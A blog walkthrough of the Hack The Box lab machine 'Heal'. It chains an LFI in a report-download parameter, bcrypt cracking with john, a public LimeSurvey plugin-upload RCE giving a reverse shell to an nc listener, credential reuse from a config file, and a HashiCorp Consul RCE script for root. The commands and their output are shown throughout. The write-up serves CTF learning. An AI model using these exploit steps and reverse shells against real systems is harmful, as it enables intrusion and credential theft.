Hackthebox: Heal

Foued SAIDI Lv4

Overview

Heal is a medium-difficulty machine from Hack The Box dealing initially with a Local File Inclusion that allows us to parse Ruby On Rails files and exfiltrate database credentials that’ll allow us to connect to an administrator account on a LimeSurvey instance where we’ll abuse a LimeSurvet RCE vulnerability that’ll get us system access. We’ll then do some more exfiltration and abuse a local instance of Hashicorp Consul via another RCE to land root shell.

Heal-info-card
Heal-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\0xkujen> nmap -A -Pn 10.10.11.46
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-15 07:28 W. Central Africa Standard Time
Nmap scan report for 10.10.11.46
Host is up (0.31s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.38 seconds

We can see that we have ssh open through port 22 and a web app deployed on port 80 redirecting us to heal.htb. So let’s add that entry to our /etc/hosts file.

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\0xkujen> .\ffuf.exe -w ..\seclists-master\seclists-master\Discovery\DNS\bitquark-subdomains-top100000.txt -H "Host: FUZZ.heal.htb" -u "http://10.10.11.46"  -fs 178

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0
________________________________________________

:: Method : GET
:: URL : http://10.10.11.46
:: Wordlist : FUZZ: C:\Users\0xkujen\seclists-master\seclists-master\Discovery\DNS\bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________

[Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 299ms]:00:00] :: Errors: 0 ::
* FUZZ: api

We can also find an api endpoint using ffuf that we can add to our /etc/hosts file.

Web Application - http://heal.htb

Web Application
Web Application

We can see that we are able to create an account and login to an existing account. So let’s create one.
We are able to interact with all these features:

Web Application
Web Application

Web Application
Web Application

Web Application
Web Application

Web Application
Web Application

We can also check our profile through http://heal.htb/profile and take a survey that redirects us to http://take-survey.heal.htb

Local File Inclusion

Now when inspecting the β€œexport report” feature, we’ll see that it’s download us the report through a filename parameter. We can just modify the HTTP verb to β€œGET” instead of β€œOPTIONS” and add the authorization bearer for our account and we have ourselves an LFI:

LFI
LFI

Now checking the API endpoint for Heal, we can see it’s using Ruby On Rails:

LFI
LFI

Checking the OWASP documentation for Ruby , we can see a list of some sensitive files such as /config/database.yml :

LFI
LFI

And in it we can see the path to an SQLITE3 database so let’s check it out:

LFI
LFI

And in it we can find the hash for ralph user:
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

We can pass that to john and get our password:

1
2
3
4
5
6
7
8
9
10
11
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:10 DONE (2024-12-15 08:26) 0.09689g/s 48.83p/s 48.83c/s 48.83C/s pasaway..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

And now we can use that to authenticate as ralph on the dashboard:

ralph user
ralph user

LimeSurvey RCE

Now with Ralph, we can go to the β€œTake a survey” tab and we’ll be redirected to http://take-survey.heal.htb/ which is using LimeSurvey 6.6.4. We are able to know the version once we login on http://take-survey.heal.htb/admin by reusing ralph’s credentials:

LimeSurvey
LimeSurvey

We can find this amazing github repo with a poc for the RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$python3 .\exploit.py http://take-survey.heal.htb/ ralph 147258369 80
_______________LimeSurvey RCE_______________


Usage: python exploit.py URL username password port
Example: python exploit.py http://192.26.26.128 admin password 80


== β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•— ==
== β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘ ==
== β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β•šβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘ ==
== β•šβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ ==
== β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘ ==
== β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β• β•šβ•β•β•šβ•β• β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β• ==


[+] Retrieving CSRF token...
MEdWZXMyS2MzNU9MYk0xTFcydXN1RXltbm82dUtnOGXy_fD-c_oq-nQ-76Vgn26dgBNI3tH41QCnroDeJzI-Vg==
[+] Sending Login Request...
[+]Login Successful

[+] Upload Plugin Request...
[+] Retrieving CSRF token...
NmVVOG1aVXpEZllQOXg1R2JKWW5GcXZxX0R-Vkp3bDko2aRNNHynRB7nNZHYN4I6S7yvvjhrh2xScO3nIv21wg==
[+] Plugin Uploaded Successfully

[+] Install Plugin Request...
[+] Retrieving CSRF token...
NmVVOG1aVXpEZllQOXg1R2JKWW5GcXZxX0R-Vkp3bDko2aRNNHynRB7nNZHYN4I6S7yvvjhrh2xScO3nIv21wg==
[+] Plugin Installed Successfully

[+] Activate Plugin Request...
[+] Retrieving CSRF token...
NmVVOG1aVXpEZllQOXg1R2JKWW5GcXZxX0R-Vkp3bDko2aRNNHynRB7nNZHYN4I6S7yvvjhrh2xScO3nIv21wg==
[+] Plugin Activated Successfully

[+] Reverse Shell Starting, Check Your Connection :)

Just do not forget to update your port and IP.
And we can get a callback:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\0xkujen> nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.16.33] from (UNKNOWN) [10.10.11.46] 51354
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
16:29:58 up 2:58, 1 user, load average: 0.19, 0.06, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ron pts/0 10.10.14.55 16:28 1:01 0.01s 0.01s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Lateral Movement - Data exfiltration

As usual, the first thing to do is look for database credentials, and we manage to find some:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
www-data@heal:~/limesurvey/application/config$ cat config.php
cat config.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),

'session' => array (
'sessionName'=>'LS-ZNIDJBOXUNKXWTIP',
// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
),

'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),

// If URLs generated while running on CLI are wrong, you need to set the baseUrl in the request component. For example:
//'request' => array(
// 'baseUrl' => '/limesurvey',
//),
),
<snip>

ron:AdmiDi0_pA$$w0rd

Let’s login with this now and get our user flag:

1
2
ron@heal:~$ cat user.txt
c03ef39909677db78ca3cffd6f6421b3

Privilege Escalation - Hashicorp Consul v1.0 RCE

Looking at internally open ports, we can see a suspicious 8500 port:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ron@heal:~$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN off (0.00/0/0)

We can forward that port with ssh to our local machine:

Hashicorp Consul
Hashicorp Consul

Looking for exploits regarding Hashicorp Consul v1.0, we can find this one regarding an RCE .

We can simply execute the script and capture a root shell:

1
2
3
4
5
PS C:\Users\0xkujen\> python3 .\privesc.py localhost 8500 10.10.16.33 9001 "random"

[+] Request sent successfully, check your listener

PS C:\Users\0xkujen\>

For the β€œX-Consul-Token”, we can just put in a random value and it’ll get accepted.

And we are root:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.33] from (UNKNOWN) [10.10.11.46] 51746
bash: cannot set terminal process group (44518): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cat /root/root.txt
cat /root/root.txt
da6d6c54d52b30a5473a371a231804e7
root@heal:/#

That was it for Heal, hope you learned something new!
-0xkujen

  • Title: Hackthebox: Heal
  • Author: Foued SAIDI
  • Created at : 2025-05-16 20:07:12
  • Updated at : 2025-05-17 18:00:31
  • Link: https://kujen5.github.io/2025/05/16/Hackthebox-Heal/
  • License: This work is licensed under CC BY-NC-SA 4.0.